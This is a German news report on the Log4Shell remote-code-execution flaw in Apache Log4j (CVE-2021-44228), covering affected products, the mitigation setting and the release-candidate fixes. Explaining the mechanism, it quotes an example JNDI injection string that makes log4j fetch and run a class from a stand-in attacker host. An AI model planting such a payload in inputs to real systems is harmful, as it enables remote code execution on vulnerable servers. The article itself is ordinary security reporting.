Eine katastrophale Schwachstelle in Apache Log4j, die viele Java-Projekte betrifft.

In Apache Log4j, einem populären Framework zur Protokollierung in Java-Anwendungen, wurde eine kritische Sicherheitsanfälligkeit entdeckt, die es ermöglicht, beliebigen Code auszuführen, wenn ein speziell gestalteter Wert im Format „{jndi:URL}“ in das Protokoll geschrieben wird. Angriffe können auf Java-Anwendungen durchgeführt werden, die Werte aus externen Quellen in das Protokoll schreiben, zum Beispiel beim Ausgeben problematischer Werte in Fehlermeldungen.

Es wird festgestellt, dass fast alle Projekte betroffen sind, die Frameworks wie Apache Struts, Apache Solr, Apache Druid oder Apache Flink verwenden, einschließlich Steam, Apple iCloud, sowie Clients und Server des Spiels Minecraft. Es wird erwartet, dass die Anfälligkeit zu einer Welle massiver Angriffe auf Unternehmensanwendungen führen könnte, ähnlich der Geschichte kritischer Sicherheitsanfälligkeiten im Apache Struts Framework, das schätzungsweise in 65 % der Webanwendungen von Unternehmen der Fortune 100 eingesetzt wird. Es wurden bereits Versuche zur Netzwerküberwachung auf anfällige Systeme registriert.

Das Problem wird dadurch verschärft, dass bereits ein funktionierender Exploit veröffentlicht wurde, während für stabile Versionen bislang keine Patches bereitgestellt wurden. Der CVE-Identifikator wurde bisher nicht zugewiesen. Der Fix ist nur in der Testversion log4j-2.15.0-rc1 enthalten. Als vorübergehende Lösung zur Blockierung der Sicherheitsanfälligkeit wird empfohlen, die Einstellung log4j2.formatMsgNoLookups auf true zu setzen.

Das Problem wurde durch die Unterstützung von log4j für die Verarbeitung spezieller Platzhalter „{}“ in den in das Protokoll geschriebenen Zeichenfolgen verursacht, in denen JNDI (Java Naming and Directory Interface)-Anfragen ausgeführt werden konnten. Da das Angriffsverfahren darin besteht, eine Zeichenfolge mit der Platzhalterersetzung „${jndi:ldap://attacker.com/a}“ zu übermitteln, wird log4j bei der Verarbeitung einen Server LDAP-Anfrage für den Pfad zur Java-Klasse an attacker.com senden. Der zurückgegebene Server Angreifer-Pfad (zum Beispiel http://second-stage.attacker.com/Exploit.class) wird geladen und im Kontext des aktuellen Prozesses ausgeführt, was es dem Angreifer ermöglicht, beliebigen Code mit den Rechten der aktuellen Anwendung auf dem System auszuführen.

Ergänzung 1: Der Sicherheitsanfälligkeit wurde die Kennung CVE-2021-44228 zugewiesen.

Ergänzung 2: Es wurde ein Weg gefunden, den Schutz, der in der Veröffentlichung log4j-2.15.0-rc1 hinzugefügt wurde, zu umgehen. Ein neues Update log4j-2.15.0-rc2 mit umfassenderem Schutz vor der Sicherheitsanfälligkeit wurde vorgeschlagen. Im Code wird eine Änderung hervorgehoben, die sich auf das Fehlen eines Notfallschlusses bei der Verwendung eines ungültig formatierten JNDI-URLs bezieht.

Quelle: opennet.ru

60GB SSD 8Gb DDR4